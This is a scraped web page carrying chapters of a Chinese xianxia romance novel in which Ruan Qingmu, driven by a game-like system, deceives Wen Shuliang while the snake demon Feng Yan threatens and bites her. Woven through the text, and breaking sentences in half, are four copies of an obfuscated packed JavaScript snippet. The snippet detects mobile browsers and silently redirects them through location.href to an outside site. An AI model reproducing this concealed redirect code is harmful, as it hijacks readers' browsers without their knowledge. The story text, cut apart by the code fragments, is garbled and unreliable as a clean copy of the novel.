$(''#content'').append(''
时就站在门外。
下一秒倒数音响起,她几乎没有一点思考时间,系统面板收回,时停消失。风宴的眸光闪动,他听见房门被叩响,嘴角噙起笑。
阮清木却一点都笑不出来。
她厉色朝房门方向望了一眼,随即拾起毯子,用了点力气将风宴一把推到,又将那毯子蒙在他身上。
深吸一口气后,她终是移开步子,躲也躲不了,还能怎么办呢?
以防自己的表情出岔子,阮清木施出魅术浮于面上,全然没有一丝局促不安的神情,脸上尽是娇柔魅惑。
在温疏良再次敲响房门之前,她推开门,见温疏良正站在屋外,一身湖青色的修士服,衣摆随风而动,一张俊朗内敛的脸庞,只是细看眼下带着乌青,看来是因为昨夜三位长老被杀之事。
阮清木佯装讶异却欣喜的样子,“温师兄?”她又刻意对着他身后扫视一圈,见他独自一人,又问道:“怎么了,可是有何要紧事?”
她眸光亮亮地盯着他,温疏良一怔,却只是一瞬便恢复如常,轻笑道:“可知道你表哥现在何处?今一早我去他住所寻他,没见到人。上次问他借了不少灵材炼化灵器,本想着等我慢慢找齐了再一并还他,谁承想……”
“谁承想仙门又出了如此恶劣残暴之事。”他眉心拧起,语气沉重,“过几日我会带着几个弟子出山调查,所以还要再找你表哥借些灵材。”
他抬眼望向阮清木,她顺势装作一副失落神情,将头微低下,却依旧乖巧地开口:“温师兄受累了,仙门长老遇害之事我也听闻了。”她叹了一声,接着道:“可我表哥昨日就不在宗门,他听说我想学剑道,就特意下山,想为我寻把世家名剑。”
“虽然我也不知他几日能回,但等他一回来,我就立马告知你,可好?”
“好。”温疏良闻言忙回道:“那就多谢表妹了。”
说完他便转身要走,阮清木眼疾手快地扯住他的衣角。温疏良回过身,问道:“怎么了,表妹?”
阮清木不言语,面上带着些恼意,一时间脸颊竟急得有些红晕,半响,她才开口:“温师兄为何也唤我表妹?”
温疏良轻笑一声:“你是风宴的表妹,自然也就是我的妹妹。”
她微抬眼帘,眸子随着视线渐渐落于温疏良的身上,最终望向他,“那温师兄今日来找我,只是找我表哥,就……”
“就没有别的话想与我说了吗?”
温疏良怔住,他想了想,道:“这些时日,门内长老应该不会再给新入门的弟子授课了,若你自行修炼时有不懂的地方,尽管来找我就是,只要我还在这。”
阮清木扣住他衣角的手没有松开,反而加了力道,“若我不想和你讲修炼之事,想与你讲些别的呢?”
话未说完,她身后的屋内骤然平地卷起一袭寒风,寒意猛地贴在她的背上,黏腻湿润的蛇鳞擦着她的脊背爬过,阮清木身子一颤。
她微侧过头,余光扫向屋内,原本躺在她床上被毯子盖住的风宴此时不知去向,榻上竟空无一人。
18. 第 18 章
阮清木只觉得脑中一片空白,她手中还勾着温疏良的一抹衣角,不经意地用力抓得更紧,骨节泛白。
她清晰地感觉到那蛇在她的衣襟内顺着她的身体向上爬着,蛇身还散发着幽寒的凉意,滑腻的蛇鳞挂着她的肌肤,一寸一寸地蚕食着她最后的理智。
像某种警告。
如果此时没有魅术遮在脸上,只怕她早已骇然失色。
庭院中明明春风温柔和煦,吹在她身上的却朔风刺骨,好似有尖刀戳在她的身上。
温疏良上前一步挡住日光,在她身上投下一道阴影。他笑看着阮清木低头娇羞的样子,柔声道:“当然可以,我既把你当做妹妹来看,就算不是修炼之事,也可以同我讲。”
她紧抿嘴唇,思索着要怎么开口才不会招惹到身后的人。
“不是妹妹,是……”窒息感瞬间袭来,脖间好似被蛇身缠住后猛然缩紧,她忽然无法呼吸。
阮清木下意识地抓向自己的脖间,却什么都没有。她说不出话来,憋得就连施着魅术的脸都浮上一层诡异的红晕。
她开始后悔刚才怎么没用那毯子直接把风宴捂死呢……
只不过在温疏良的视角来看,阮清木的颊间羞红,眼神躲闪,手都紧张得不知该放哪,话也说不出。一副少女怀春却又羞于开口的样子。
温疏良对她这幅模样实在是有些见怪不怪了,毕竟他相貌风流俊逸,实力又是仙门第一流者,行事待人却毫不张扬,对他有倾慕之心的姑娘实在不要太多。
更何况初见时,自己还是她的救命恩人。
他多少是能猜到阮清木这番态度后的小心思。
像他这种天之骄子身边从不乏倾慕者,早已习以为常,甚至有些麻木。但要说这种情感,也不能算做是爱。他知道这不过是小姑娘一种对强者天然的向往和崇拜罢了。
他轻将衣角从阮清木的手中抽出,笑道:“就算不是表妹,那你也是我的师妹,没什么区别。”
骤然间阮清木脖间的禁锢感消失,她猛地深吸一口气,刚要接着说,可一时间竟有一只无形的手抚在她的后颈。
“……温师兄。”她声音有些颤。
那只手顺着她的后颈绕着她的脖子轻抚了一圈,最后横在她的胸前,以一种环抱的姿势将她束住,锁住了她。
甚至好像还有一道若有似无的吐息掠过耳际,惹得她浑身发起一阵酥麻的战栗。
温疏良看向她。
阮清木眼一闭心一横,她往前踏出一步,离温疏良更近,身后禁锢她的人也被她带得往前。
“我害怕,温师兄我真的好怕。最近仙门一直有祸事,我甚至怀疑我的房内有脏东西。”
说完,她耳边好像响起一声极轻的笑,心口处的半颗心也猛地抽动了一下。
风宴垂下眼睫,盯着被他揽在怀中的阮清木,日光映得她白皙的肌肤更加透亮,他的指腹游走在她脖颈处凸出的青色脉络,轻抚上去,能感受到脉络的跳动。
还敢说他是脏东西?
他用力将阮清木往怀中一揽,将她扯回方才的位置,阮清木失控地倒退几步,堪堪扶住门槛。
她没想到风宴居然会这么大胆,在温疏良的面前干扰她就算了,居然还搞出这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16145293|180167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么明显的动作。
疯了吗?
可是她面上还施着魅术,虽然心中惶恐,可表面上看仍是那副娇柔羞涩的样子。
温疏良蹙起眉,看着阮清木一副娇羞神情却来回地踱步。他谨慎地扫向阮清木的房内,灵识探去,却什么都没探到。
可阮清木并不知道风宴已将他自己的气息全部敛藏,她又开始紧张,万一真的被温疏良发现了该怎么办。
她捂着心口,一副可怜戚戚的模样,“我……只是害怕。”
温疏良只当她是因为想多与他亲近,而找的借口,他脸上露出一丝笑容:“表妹莫要害怕,一切有我在呢,而且不久时日风宴也回来了,你有这两个哥哥难道还要被妖魔欺负不成?”
……他还用回来?他本人现在就站在这呢。
而且温疏良这张嘴也太会说了,怪不得在原书中要被一众女角色爱慕纠缠不清呢。
阮清木顺着他的意思点了点头,“那我若是害怕,能去找你吗?”
风宴开始上下抚着她的脖子。
“毕竟……表哥他现在还没回来。”
温疏良现下是真的确认阮清木的心意了,左右绕着圈说想见他。
只是若是换了旁人,他早就轻松抽身离开,但阮清木那双春水动人的眸子实在是勾人,且她样貌细看起来与性格相较又带着几分反差。
她的美是旁人见了不敢与之亲近的疏离,但她却为了他故作出讨好的样子。
换作任何一个人都不忍说出令她伤心的话。
温疏良点头:“当然,你表哥若是不在,我便护着你。”
19. 第 19 章
他的唇抵了上来,下一秒就咬住了阮清木的下唇。
她身子猛地一颤,唇瓣传来钻心的痛楚,紧接着血气的腥甜味道弥漫在彼此的唇舌之间。
风宴咬住她的唇,喘息声加重,他的怒意全然宣泄出来,力道加重,鲜血流入他的口中,润过他的舌-尖,他喉间滚动,吞了下去。
阮清木的后颈被死死扣住,眸光颤动,世界顿然寂静无声,心口处的半颗心逐渐喧嚣起来。
她用力欲将她推开,风宴却纹丝不动,依旧咬着她的唇瓣,扣在她后颈的手不容她向后退去。
只是啃咬,根本就是发泄情绪。
她怒火中烧,四肢百骸间逼出一股灵力,猛地锤在风宴的胸间,他闷哼一声。
这才终于松开了口。
风宴一只手抵在墙上,另一只手钳着她的脖颈,他的双眸不知何时化成了幽绿色的竖瞳,垂眸看向阮清木惨白的脸,唇间鲜红,血线顺着她唇角流下。
他忽地抬手,指腹沿着她的唇轻轻划过,如给她涂口脂般,动作轻柔。
啪的一声,阮清木抬手就扇了过去,她胸口猛烈起伏,手颤抖着悬在空中。
如若此时手中有一把匕首,她说不准会直接捅过去。
可惜就算是真的捅了,她也捅不死他。
风宴的头偏至一侧,他缓缓扭过头,阴邪的视线黏在阮清木悬在半空未落下的手中,顺着她骨节分明的五指,划到掌间密布的咒印。
好似下一秒会一个冲动再次咬上来。
惊骇的怒意聚集在阮清木的眉眼间,被他咬破的嘴角仍溢着血线,苍白的面容惨淡得仿若艳鬼,死瞪着他。
风宴伸手扼住了她的脖颈,寒意顺着阮清木的颈间直袭肺腑,可她的目光毫不躲闪,将手颤抖得搭在他的胸前,指尖汇聚灵力,金芒闪烁,竟凝出如匕首般锋利的树枝。其中一根的尖端已扎进他的心口。
“你明知道这样杀不死我。”他冷冷地开口。
她杀不了他,但只要他稍微用力便可折了她的脖子。
可阮清木的眸光毫不躲闪,就算真的杀了她,她也不会退让分毫。
脖颈间的力道陡然消失,他忽然捂住她的眼睛,阮清木陷于黑暗之中,但只一瞬,视线恢复,风宴却已然消失在她的面前。
取而代之的是一缕微风拂过,她瞪大的眸间只剩茫然。
只有心口处如擂鼓般的心跳提醒着她还活着。
这心跳声着实令她心烦意乱,她只觉自己整个人都要被怒火烧了起来,拳头攥得死死,人都快气过去了。
这才不是她的心跳。
—
温疏良自竹胥居离开后,便转头去了洵青境。
脱口而出的那句要护着她的话,着实让他心下一惊。他细细想来,不过是自己的英雄意气的想法,对她的恳求难以拒绝罢了。
眼下他可不会被这些乱了心神,宗门内出现妖魔作祟,地下灵脉又一直被损。此时便是需要他来替师父把持这些。
他师父祝奇徽虽看着不过三十几岁,却早就是几百岁的老头了,只不过这老头臭美,见人总要以自己年轻样貌示人。
师父这般年纪,若再过个几十年还没有得道飞升,怕是这身子骨也难以再维持长生下去。
上次琴殊音提起的长生树……
怕不是这一切祸事的源头。
就这么一路走着,他早已将阮清木抛至脑后,顺着一道道回廊走了许久,又绕过一大片竹林,走至河沿,穿过腾空的石桥。
他便望见云渡珩在洵青境中的灵池旁练剑,青山碧光,落花逐水。他的五感早已练化到极致,千步之遥,他便清晰地看见云渡珩的一招一式,剑影如流水。
云渡珩自然也是瞧见了他,手中剑法愈发狠厉起来。温疏良终是逐渐走近,云渡珩全没了方才只是随手练剑的架势,她掌间运力,剑势凶狠,分出三道剑气,直袭温疏良的面门。
铮的一声,剑气震荡。
温疏良侧身躲过,他轻笑道:“这么大火气?”
云渡珩剑锋一转,指向温疏良。
“不是你害我被罚了禁闭吗?”
温疏良神色没什么变化,他指尖轻点在云渡珩的剑上,将剑从自己的面前推开。
他着实想不通云渡珩看样子也是个机灵的姑娘,为何就看不清那炎昀,要让他看,他第一眼就觉得有问题。
“你是不是蠢?”他忽然开口。
云渡珩愣住:“你说什么?”
温疏良懒得和她解释,倒也是一向对她忍耐惯了,毕竟是祝奇徽门下的同门亲师妹,要不以他的资质和傲气,怎么会对脾气这么冲的人有这般耐心。
“门内昨夜三位长老被杀。”
云渡珩脸色一变,更是震惊:“什么?”
温疏良缓缓开口:“三位长老都是玄风道君宫中的,是有人要逼她出关。不过师父的意思是,灵脉更为要紧,要我过段时日下山处理。等我走了,你就去师父那,帮他老人家多操持些门内事务。”
“玄风道君宫内三个长老被杀就不管了?”她怒声问道。
温疏良被她吵得头疼,皱起眉:“自然是要管,但……”
“眼下并查不出是何妖魔所为,只能多加几道仙宗的禁制,多加防范,再等玄风道君出关处理。若是她本人对此都无动于衷,那我们又能做什么?”
宁雪辞已闭关百年,宫内门下的弟子有资质的,早已分给其他各宫。四宫宫主本人之间的关系就一般,到了各自的徒弟那层,自然是只听自家师尊的安排。
云渡珩没作声,算是认同温疏良的说法,只是她又想了一下,忽然开口:“凭什么你下山?我也要去。”
温疏良睨了她一眼:“你不是要禁闭?”
“而且你若下山,又要带着你那个灵宠。”
云渡珩听不得温疏良把炎昀唤成她的灵宠,她提剑就是一挥,“带他怎么了?我就要带着,我带在身边你都要欺负他。你不提还好,我一想起来就更生气!”
温疏良连忙闪身躲着她乱劈下来的剑势。
“你故意引那几个修士去他身旁,故意逼我出手杀了那个修士,现在害我禁闭,你自己下山。”云渡珩越说越激动,手中剑气快得让温疏良不得不运起灵力抵挡。
温疏良携起一道没那么锐利的风刃迎在她的剑身,将她灵剑击落。
云渡珩手中没了剑,站在那干瞪着他。
他掌间风力涤荡,落在地上的长剑被他吸入掌间,又赶在云渡珩的灵剑伤他之前,将剑丢回她手
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16159317|180167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中。
“你想去就去吧。”温疏良被搞得烦了,转身就欲离开。
云渡珩忽然又喊住了他,“那几个发狂的弟子呢?最后如何处置的?”
温疏良脚步没停,头也未回,“还能怎么处置?等他们恢复了神志,就逐出仙门了呗。不过是外门弟子,又因为邪术着了魔,仙宗自然不能留他们。”
——
落寰宫,坐落于云霄宗的整个峰顶的宫殿,彼时夕阳映下,殿外如被金日笼罩一般,灵气萦绕,仙鹤环绕齐飞。天边的浓云聚集,却不遮半分的日光,山顶处蜒流下一道通透碧绿的玉髓灵脉,直通落寰宫的灵池之中。
殿外的几百道玉阶之上分别站了三排衣冠楚楚,雪白道服的弟子。
因今日仙宗门内三大宫宫主在这落寰宫内共商要事,所以各宫门下的弟子皆在殿外等着。
大殿之内,云榆生坐于上首之位,眉宇间略带凝重之色。两旁分别落座的是祝奇徽和琴殊音,余下弟子侍奉完便都退下。
琴殊音看了眼这都不开口的俩男人,她哼了一声:“都不说,我说了?”
云榆生自然是清楚她要说什么,摆了摆手,“仙宗的灵脉之事,我与玄影道君已经商议过,灵脉混乱是山外的一道圣器导致的。长生树无事。”
祝奇徽面上带笑,开口道:“是了,玄风道君虽在闭关,却也与我传讯。北境妖域中百妖王这千百年间,炼化了一道圣器,只是这圣器落于妖的手中,便成了邪物。以天地灵脉为食,如今也已波及到其他仙宗。”
云榆生在玉座之上换了个舒服的坐姿,接过祝奇徽继续说道:“让门内弟子将那邪物带回处理,灵脉之事便解决了。”
“带回?”琴殊音眉心蹙起,“既是邪物,为何不直接销毁,怎能将其带回来呢?”
“玄音道君,你且仔细想想,在那妖物手中自然是个邪物,可在我们手中,那便又做回了圣器。百妖王将其炼化千年才求得此物,直接毁了,岂不可惜?”
祝奇徽眼底含笑,说着话慢条斯理。
“况且我等皆为修道之人,立身于天地,就是为了帮世人镇邪祟,消灾祸。如今就连云霄宗都受其影响,更何况山下的苍生百姓。必然已被那邪物折磨许久。将那邪物带回,为我们所用后护百姓安宁,才是修行真意啊。”
琴殊音斜眼看着祝奇徽一脸正气的神色,心中早已将这虚伪的样子骂了百遍。如今这云榆生和祝奇徽是摆明了站为一队,她就算想反对,也毫无作用。
“既然你们都已知晓那邪物,我倒好奇,是何等器物能够有这么大的本事,波及诸多仙门。”
云榆生捋了一把不存在的胡须,笑道:“此物名为——魄珠。”
滴的一声,竹胥居内,阮清木的系统面板忽然弹出。她没好气地扫了一眼,又是什么任务?
只见上面密布着几行字,无非是告诉她,目前要进入书中的主线剧情了。而她作为原书中的妖女,比勾引温疏良更重要的事,便是与仙门作对。
所以面板之上,任务的结尾赫然几个大字:
“以任何手段,阻止温疏良带回魄珠。”
阮清木揉着嘴角的动作顿住。
她不可置信地又看了一遍任务。
“认真的?”
20. 第 20 章
阮清木倚在一扇镂空的窗棂前,心不在焉地有一搭没一搭用指尖轻叩着窗边。
绿柳朱梁,明光如水般洒在她随意披在身后的墨发,唇角仍带着血痂,眉目间一抹愁容。
自从系统给出她了这个艰巨的任务,她便思绪没断过。其实她也不知原书中阮清木有没有成功阻拦温疏良将那颗魄珠带回,但她这个反派定然是从中作梗了。
只是她现在比原身处境要更难一些。原身一直是打着明牌的妖女,可她现下在云霄宗。
必然不能明着与他起冲突,那就只能混到他身旁,跟着他去取那颗魄珠。
然后呢?
她有那个本事在途中将那玩意毁掉?
忽然间她就想起了风宴……
只是自从他发了疯后逃走,便没再出现过。阮清木又回忆起他那张嘴巴的力度和她嘴角的痛楚,便没心思再想他了。
要指望他,说不准下一次又要咬她哪里呢。
如何才能混入其中与温疏良同行呢……
昏黄烛火下,桌案中间摆着何言留给她的传讯玉符,她缓缓收回视线,心中浮出一个想法。
系统其实给她提供了一套路线,那颗魄珠所在位置是妖域和冥域的交界之境,若要前往定要从云霄宗一路北下,途经凡间城镇,才能抵达玄虞大陆的北境。
若她先于这群人出发提前到了城镇,到时可制造个偶遇,混入队伍中同行。
可是他们那群人是御剑的,她两条腿走着去就算是提前半年出门也追不上。
怎么这么难啊!
她倚靠在窗前阖上眼,灯台黯淡,暖风拂在身上让人昏昏欲睡。只是她刚阖上眼,透过镂空的窗棂便幽幽飘进一股熟悉的冷檀香气。
脸倏地被掰了过来,一晃而过的手影忽然将粒圆溜溜的东西投到她嘴里。
唇边刚触到一丝沁凉,齿尖已下意识地咬住,口中瞬间绽开酸意和轻甜,似除熟的青柠,却没有半点苦涩,只余满口莹润的酸甜。
她愣住,半响还在回味。
阮清木睁开眼,看见风宴隔在窗外,一袭玄衣,墨发未像往常般束起,而是随意披在背后,那双近乎妖异的眉眼正盯着她的反应,等了半天,他蹙眉:“你怎么这个反应?”
阮清木回过神来:“啊?你给我吃了什么?”
“毒。”
阮清木咂咂嘴,点头道:“那这毒还挺好吃。”
他视线扫见阮清木还肿起的唇角,鬼使神差地将手抬起,想了想,又默默地放下。
“在生气?”
阮清木顿住,没再看他,只起身离开窗边,往床榻上坐去。
风宴眉心还是第一次为这种事情而蹙起,有些不知所措地僵在那,强压下心头那股陌生的烦躁,他翻窗而入,走到阮清木的床榻旁。
不知从哪变出一个小包袱,包的圆圆滚滚,丢在阮清木的面前。
“不是说好吃吗。”
“都给你了,吃吧。”
阮清木只觉怀中一沉,低头看见个包得圆滚滚的包袱。她将其拆开,这才发现里面装得满满的果子,形状大小都恰似青柠,但颜色却是雪白的。
“……”
她将一小包果子放到一旁,没理他。
心口处的半颗心猛然沉了一下,她整个人躺到床上,刻意没给留下什么位置。
风宴将头歪到一侧,似乎是在思考和判断,最终还是僵硬地走到她身旁,拉住阮清木的手腕。
阮清木看向拉住她的那只手,骨节分明,手指修长,箍住她手腕一圈还余出几道骨节,和往常一样,冷得像个死人一般。
他几乎没怎么用力就将阮清木拽起身,然后面无表情地半抱起她,将她往床里送了送。
阮清木只瞪着他,他却全然不在意,指尖一捻,从小包裹中拾起一颗果子,又塞了一颗进她口中。
一条小白蛇从床底爬出,慢悠悠挪到阮清木的脸旁,吐出信子讨好地舔着她的脸。
她毫不留情一把扯过,捏住小白蛇的蛇身。
风宴连忙拦住,修长手指如灵蛇一般探入她的指缝,指尖一勾,三两下便从她紧攥的掌心间夺下那条白蛇。
阮清木慌乱间揪住白蛇的尾端猛地一拽,风宴身形凝滞,喉间溢出一声闷哼,眉心蹙起。她慌忙撒手,指尖还留有蛇鳞冰凉的触感。
捏起来软软的,手感很好……
风宴神色掠过一丝不适,却又迅速归于平静。
“还生气吗?不然给你玩一会。”他僵硬地开口。
“谁要玩这个……”阮清木坐起来给风宴挪了位置,“如果你能帮我送去一个地方,我就不生气了。”
风宴闻言,便自然地在她身旁坐下,“要去哪?”
她想了想,才缓缓道:“北境靠近妖域的洺方镇。”
系统给她安排任务时,面板上的地图曾闪过洺方镇的位置,温疏良那行人要进入妖域,必然要经此地。
她拾起个果子吃着,酸意顷刻间浸蛮她的唇间,再随着甜味的蔓延,酸甜交叠在她口中,像浸了蜜的小青柠。
风宴手中的小白蛇见她吃得正欢,吐着信子也爬了过来,在她腿上缠绕一圈,随即又顺着她的腰身向上爬。
“去那做什么?”风宴几乎是下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170942|180167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意识反应,“温疏良要去那?”
阮清木吃果子的动作一僵,刚好又瞥见了腰腹上缠了几圈已然变大的白蛇。
吓得她手一抖,咬了一半的雪蔻倏地就滚掉了下来。
缠在她胸腹前的白蛇机敏地张开口,瞬间接住她掉过的果子,吞入腹中。
“我要说是的话,你会生气吗?”
风宴眉头陡然蹙起,猛烈的酸意在他舌根穿梭,他身子都僵直,强忍着才没在阮清木面前失态。这果子怎会……
怎会如此酸!
他喉间上下滚动,脖颈处甚至有青筋暴起。
阮清木惊呆住,这俩人是有什么世仇吗,瞬间就气成这样了?
“那我自己去也行……”
风宴咳了一声,嗓音喑哑:“可以。”
阮清木没想到他居然同意了,她又拾起一颗果子,递到风宴的嘴边:“表哥请吃。”
风宴侧头避过:“不用。”
方才还绕在她腰间的小蛇已爬到她手臂间,张开口咬了她的手,但却是轻轻一咬,尖牙没什么威胁的摩挲着她的指腹。
阮清木将手中的果子又挪到小白蛇的嘴边,“那你吃。”
谁料小蛇刚碰到那果子就嗖得一下爬走了。
阮清木捏着果子的手还停在半空,她看着那颗碰过蛇嘴巴的雪蔻。
碰到它嘴巴了!这谁能吃?
她扫了一眼风宴,风宴也正好也撑头盯着她,观察她的反应。
“这个碰到蛇的嘴巴了。”
风宴点了点头:“所以呢?”
“所以……”阮清木把雪蔻怼到风宴的嘴边,“你吃吧。”
风宴蹙眉,一瞬间好似唇齿间又重现了极致的酸,他刚要将那果子给丢远,忽然想起来什么,换了副神情。
他似笑非笑地盯着阮清木:“就因为碰到了蛇的嘴,你就不吃了?你嫌弃它?”
阮清木盯着手中那颗雪蔻,她犹豫一瞬,决定点头。是的,她嫌弃。
“方才说,要去哪来着?”
她心里暗骂了一声,抬眸,瞥见风宴那不由分说的笑。只好将指尖调转方向,把那颗雪蔻放进口中。
“怎么会嫌弃蛇蛇呢?我喜欢还来不及呢。”
为达目的真是什么话都能张口就来了。
可是话音落地,整个屋内顿时一片寂静。
烛火的光线映得少年的眸子明亮,他漠然地望向她,镂空的窗棂忽然被风吹得一声作响,紧跟着阮清木胸膛内的半颗心猛然跳了几下。
“表哥满意了?”她也学着平日里风宴歪头的样子,静静地看着他。
21. 第 21 章
内室烛火轻晃了晃,映在阮清木清冷的脸庞,她眸中带有不解。魄珠既然是百妖王的妖心,那温疏良要如何将其带回?像她一样,直接剜的?
可是剜出来便是个死物,没有用处了。
风宴似是看穿她心中所想,他缓缓开口:“像他这种修为的确实可以依靠灵器将妖心炼化,只是那魄珠的功力便会大为折损。”
“先前我一直未有所行动,是因为时机未到。既然眼下有他人也盯上这魄珠,那就不能再等了。”
烛火光亮映于他的眼中,风宴平静地看着她。
阮清木点了点头:“表哥,我既然同你说了这个事,我就是站在你这边的。”
我支持你抢了这魄珠。
他眼底的浮出一丝戏谑的笑意,刚要开口,忽然自窗外飘进一小撮灵火,随着夜风飘进,火苗甚小,甚至不及桌案上昏暗的烛火。
风宴将手将那灵火引至手中,安静地在他手中泛着微光,似在传递什么讯息。良久,他终于指尖一捻,将那灵火湮灭。
“确实如你所说,他们明日动身。不急,先让他们一日。”说完他便慵懒地往阮清木的床榻上一躺,然后又自然地拍了下阮清木身后的床。
阮清木见他一副早已习惯的熟练样子,抬手扯了下他玄衣的衣角,“今晚不许你睡这,原因你自己想。”
风宴:“……”
-
破晓时分,天光微亮。
昭重殿内,精雕细琢的玉石龙凤盘绕梁柱之上,挂于帷幔上的铃铛随风起伏发出清脆声响。
祝奇徽负手而立,身着雪白道袍一尘不染,仙风道骨。他自掌中幻化出一道金光,悬在温疏良的面前,一个巴掌大小的方印,周身布满了密集的金色符文,缓慢绕着方印流转。
仔仔细细将那方印又查看了一番后,才示意让温疏良上前一步。
温疏良身后则站着四名身着修士服的弟子与他们二人隔了几步距离,在玉阶之下,身段挺立,气场与普通弟子相比全然不同。
祝奇徽幽幽开口道:“此物是炼元仙印,乃是我仙宗传了八代的上古神物,可将妖物魔煞尽数锁如其中,也可将其直接炼化。为师今日便把这交于你了。”
温疏良刚要接过,祝奇徽又是嘱咐:“记住,传了八代的上古神器,你小子就算没把百妖王带回,也得把这东西给我拿回来!”
“……”
身后一弟子不慎笑出声,平日里祝奇徽便是这个性子,对门下弟子十分宽和纵容,对他而言,收徒全凭眼缘。若是他喜欢的弟子,哪怕资质稍差些,也会带在身旁,不论出身。
他佯装厉色扫了一眼后面忍笑的弟子,“卿羽,莫要将这当成儿戏,此番下山镇妖,可与你之前的经历不同。”
又换了一副从容的神色,他慢悠悠接着说道:“这百妖王必然戾气极重,你持此印,若是时机正好,便将他直接镇入印中。那魄珠在他体内,不要贸然暴露你要取魄珠的行为。只将百妖王擒回,为师来将他那颗魄珠炼化。”
温疏良点头道:“弟子知晓,师父放心罢。”
祝奇徽摆了摆手,“去吧。”
“师父。”温疏良紧握着手中那枚方印,对着祝奇徽那道伟岸的背影,他上前一步,还是问出了心中疑惑:“师父,将百妖王带回炼化他体内的魄珠,这件事,是为了苍生百姓,也为了云霄宗,对吧?”
为何不将其直接封印镇压,却是将其带回?
他不想对着师父质问这些,但还是希望能从他口中得到一个让他心安的答案。
祝奇徽回过身来,年轻的容颜间看不出任何喜怒,他看着温疏良,浮出一丝笑来:“当然,那邪物即便是封印住,千年之后仍是后患无穷。要想彻底解决,必然要将其带回。”
温疏良将方印收回掌中,“好,弟子定当不负师父重托。”
身后四名弟子立即跟上温疏良的脚步,这几人均是祝奇徽点名要他带着一起下山历练的。
他面无表情地走出殿外,那名为卿羽的弟子立即凑上去,“温师兄,那方印当真是传了八代的灵器?那不有几千年了,到时候你镇压百妖王,能不能让我站第一排,我们共启这阵法,哈哈等我再回仙门,我那小师妹……”
话未说完,就被温疏良随手掐诀给定住,宋卿羽一动不动站在碧潭边上,眼看着剩下几个弟子和温疏良踏上玉桥,将他一人留在原地。
吵死。
如果不是祝奇徽的嘱托,他甚至只想自己下山,带上这些弟子与他而言反而是累赘。
宋卿羽站在桥下,急得眼珠都要瞪出来,却动弹不了半分。这几人离了云霄宗的主殿就要御剑下山了,现在把他定身在此,摆明了不带他一起的意思。
他死命地运起全身的灵力,却挣脱不了温疏良随手捏的决。
不是?凭什么?师尊都点名叫他一起去,他个温疏良算什么东西也能违抗师尊号令,将他单独留下?
凭什么啊!
-
与此同时,云霄宗内的某个角落里,几个消息灵通的弟子正围坐一团。
“听说了吗,最近仙门灵脉混乱不堪,我们倒还好,外门弟子是一个接一个地出事。现在玄影道君让温疏良下山处理此事,也不知到底是何原因,为何只有外门弟子频繁走火入魔,我们内门却不受影响。”那弟子发中插着个玉簪,穿着自己的锦衣常服。
一个女弟子接话:“还能有何原因,我们资质本就好于那些外门。据说是他们自己私下里修了邪术才走火入魔。”
此言一出,当即有人反对:“灵脉绝对出问题了!上个月云渡珩原本即将破境结婴,谁承想几次三番都未成功。那可是天资过人的云渡珩,就连她都受影响,更何况其他人呢。”
角落里一直一言不发的弟子忽然开口:“其实,我有个发小兄弟是在外门。他最近给我的感觉就如同换了个人。但若要我细说,却又说不出究竟是哪里变了。他的言谈举止,音容相貌都与先前没什么分别。可就是……”
“就是什么?”那穿着常服的弟子问道。
“就是,他有时会分不清我们现在是何年月。仙门的时间本就和凡间流速不同,这我们都知晓。”
“可上次见面,他居然问我最近有没有同家人联络。我和他均在仙宗修炼数几十载,凡间已过百年,亲眷早已不在人世。可他却记不清了。”
“我提醒他后,他竟茫然许久,过了会才有所反应,还笑着和我说多亏我提醒他,那笑容诡异得简直都不像个活人。”他越说眉头皱得越紧,众人顿然陷入沉寂。
“……那前几日发狂的弟子中,有没有他?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186808|180167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
方才还反对的女弟子低声问道。
他摇了摇头:“没有,那事一出我便赶忙去寻他了,他还是那副模样,除了那次分不清年月,其他时候什么也看不出。”
“他们外门弟子不像我们这般终日就只专心修炼道法。平日里的洒扫,对地下灵脉的看护还有一堆琐事都是交给他们外门弟子。只有这些琐事做得好了,才能有机会得长老的一二点拨。所以他们不太可能会敢自己修炼邪术,就算有那胆子,也没人教他们啊。”
说完他叹了口气,竟替自己的发小兄弟心酸起来。
